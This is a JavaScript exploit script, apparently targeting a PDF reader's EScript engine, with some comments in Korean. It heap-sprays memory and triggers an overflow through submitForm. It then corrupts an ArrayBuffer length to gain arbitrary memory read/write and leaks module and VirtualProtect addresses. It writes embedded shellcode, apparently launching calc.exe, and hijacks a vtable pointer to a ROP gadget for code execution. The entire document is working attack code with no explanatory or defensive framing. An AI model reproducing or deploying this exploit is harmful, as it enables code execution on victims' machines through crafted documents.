console.show() function gc() { new ArrayBuffer(3 * 1024 * 1024 * 100); } // Size of relative URL var strRelUrlSize = 0x600; // Size of concated URL (Size of base URL + Size of relative URL) var strConUrlSize = 0x800; // Generate Heap Area with given blocksize (including Heap shunk Header) function createArrayBuffer(blocksize) { var arr = new ArrayBuffer(blocksize - 0x10); var u8 = new Uint8Array(arr); for (var i = 0; i < arr.byteLength; i++) { u8[i] = 0x42; } return arr; } // Create Heap Area to store relative URL adjacent with exploit string to overwrite byteLength field to -1 var arrB = new Array(0xE0); // length of sprayStr1 = 2*5 + 2*((0x600/2) - 1 - 5) = 0xa + 2*(0x300 - 6) = 0x600 - 0x2 : Size of total string excluding 2 byte null (UTF16-BE) var sprayStr1 = unescape('%uFFFF%uFFFF%uFFFF%uFFFF%u0000') + unescape('%uFFFF').repeat((strRelUrlSize / 2) - 1 - 5); for (var i = 0; i < arrB.length; i++) { // UTF16-BE는 2byte가 문자 1개 => null 2byte 포함 0x600 크기의 heap chunk에 할당하기 위해서는 0x300개의 문자 필요 // (strRelUrlSize/2) - 1 = 0x600/2 - 1 = 0x300 - 1 : null 문자 제와 0x2FF개의 문자 arrB[i] = sprayStr1.substr(0, (strRelUrlSize / 2) - 1).toUpperCase(); } // make multiple hole for (var i = 0x11; i < arrB.length; i += 10) { arrB[i] = null; arrB[i] = undefined; } // Create Heap Area to store concatted URL with ArrayBuffer object for Arbitrary R/W var arrA = new Array(0x130); for (var i = 0; i < arrA.length; i++) { arrA[i] = createArrayBuffer(strConUrlSize); } // make multiple hole for (var i = 0x11; i < arrA.length; i += 10) { arrA[i] = null; arrA[i] = undefined; } // garbage collection gc(); // Trigger vulnerable try { this.submitForm('a'.repeat(strRelUrlSize - 1)); } catch (err) { } // Corrupt byteLength field in ArrayBuffers next to the concatted URL ArrayBuffer for (var i = 0; i < arrA.length; i++) { if (arrA[i] != null && arrA[i].byteLength == 0xFFFF) { var temp = new DataView(arrA[i]); temp.setInt32(0x7F0 + 0x8 + 0x4, 0xFFFFFFFF, true); } if (arrA[i] != null && arrA[i].byteLength == -1) { var rw = new DataView(arrA[i]); break; } } // Find the latest corrupted ArrayBuffer object and set DataView object of it (rw) if (rw) { // START getArbitraryRW curChunkBlockOffset = rw.getUint8(0xFFFFFFED, true); BitMapBufOffset = curChunkBlockOffset * (strConUrlSize + 8) + 0x18 // go until find UserBlock signature (0xF0E0D0C0) for (var i = 0; i < 0x30; i += 4) { BitMapBufOffset += 4; signature = rw.getUint32(0xFFFFFFFF + 1 - BitMapBufOffset, true); if (signature == 0xF0E0D0C0) { BitMapBufOffset -= 0xC; BitMapBuf = rw.getUint32(0xFFFFFFFF + 1 - BitMapBufOffset, true); break; } } if (BitMapBuf) { // StartAddr : Address of start of data in ArrayBuffer StartAddr = BitMapBuf + BitMapBufOffset - 4; // END getArbitraryRW // START helper function to R/W Arbitrary address function readUint32(dataView, readAddr) { var offsetAddr = readAddr - StartAddr; if (offsetAddr < 0) { offsetAddr = offsetAddr + 0xFFFFFFFF + 1; } return dataView.getUint32(offsetAddr, true); } function writeUint32(dataView, writeAddr, value) { var offsetAddr = writeAddr - StartAddr; if (offsetAddr < 0) { offsetAddr = offsetAddr + 0xFFFFFFFF + 1; } return dataView.setUint32(offsetAddr, value, true); } // END helper function to R/W Arbitrary address // sprayHeap for new Stack var heapSegmentSize = 0x10000; heapSpray = new Array(0x8000); for (var i = 0; i < 0x8000; i++) { heapSpray[i] = new ArrayBuffer(heapSegmentSize - 0x10 - 0x8); } // START getAddressLeaks // leak and calculate the EScript base address EScriptModAddr = readUint32(rw, readUint32(rw, StartAddr - 8) + 0xC) - 0x277548; // leak VirtualProtect address in kernel32.dll wich is used by EScript VirtualProtectAddr = readUint32(rw, EScriptModAddr + 0x1B0060); // Set Shellcode var shellcode = [0xec83e589, 0x64db3120, 0x8b305b8b, 0x5b8b0c5b, 0x8b1b8b1c, 0x08438b1b, 0x8bfc4589, 0xc3013c58, 0x01785b8b, 0x207b8bc3, 0x7d89c701, 0x244b8bf8, 0x4d89c101, 0x1c538bf4, 0x5589c201, 0x14538bf0, 0xebec5589, 0x8bc03132, 0x7d8bec55, 0x18758bf8, 0x8bfcc931, 0x7d03873c, 0xc18366fc, 0x74a6f308, 0xd0394005, 0x4d8be472, 0xf0558bf4, 0x41048b66, 0x0382048b, 0xbac3fc45, 0x63657878, 0x5208eac1, 0x6e695768, 0x18658945, 0xffffb8e8, 0x51c931ff, 0x78652e68, 0x61636865, 0xe389636c, 0xff535141, 0xb9c931d0, 0x73736501, 0x5108e9c1, 0x6f725068, 0x78456863, 0x65897469, 0xff87e818, 0xd231ffff, 0x00d0ff52]; var shellcodesize = shellcode.length * 4; // Write Shell Code for (var i = 0; i < shellcode.length; i++) { writeUint32(rw, StartAddr + 0x18 + i * 4, shellcode[i]); } // Setup new Stack var newStackAddr = 0x5D000001; var offset = 0x1050AE; writeUint32(rw, newStackAddr, VirtualProtectAddr); // RIP of previous Stack Frame writeUint32(rw, newStackAddr + 0x4, StartAddr + 0x18); // RIP of VirtualProtect Stack Frame writeUint32(rw, newStackAddr + 0x8, StartAddr + 0x18); // Arg1 : 메모리 시작 주소 writeUint32(rw, newStackAddr + 0xC, shellcodesize); // Arg2 : 메모리 크기 writeUint32(rw, newStackAddr + 0x10, 0x40); // Arg3 : 메모리 보호 상수 : 0x40 : 실행 권한 writeUint32(rw, newStackAddr + 0x14, StartAddr + 0x14); // Arg4 : 이전 보호 상수 저장할 포인터 // get address of vtable var dataViewObjPtr = rw.getUint32(0xFFFFFFFF + 0x1 - 0x8, true); var dvShape = readUint32(rw, dataViewObjPtr); var dvShapeBase = readUint32(rw, dvShape); var dvShapeBaseClasp = readUint32(rw, dvShapeBase); // Overwrtite address of getProperty in vtable to ROP gadget writeUint32(rw, dvShapeBaseClasp + 0x10, EScriptModAddr + offset); // try to access unknown property => call overwritten getProperty in vtable var foo = rw.execFlowHijack; } }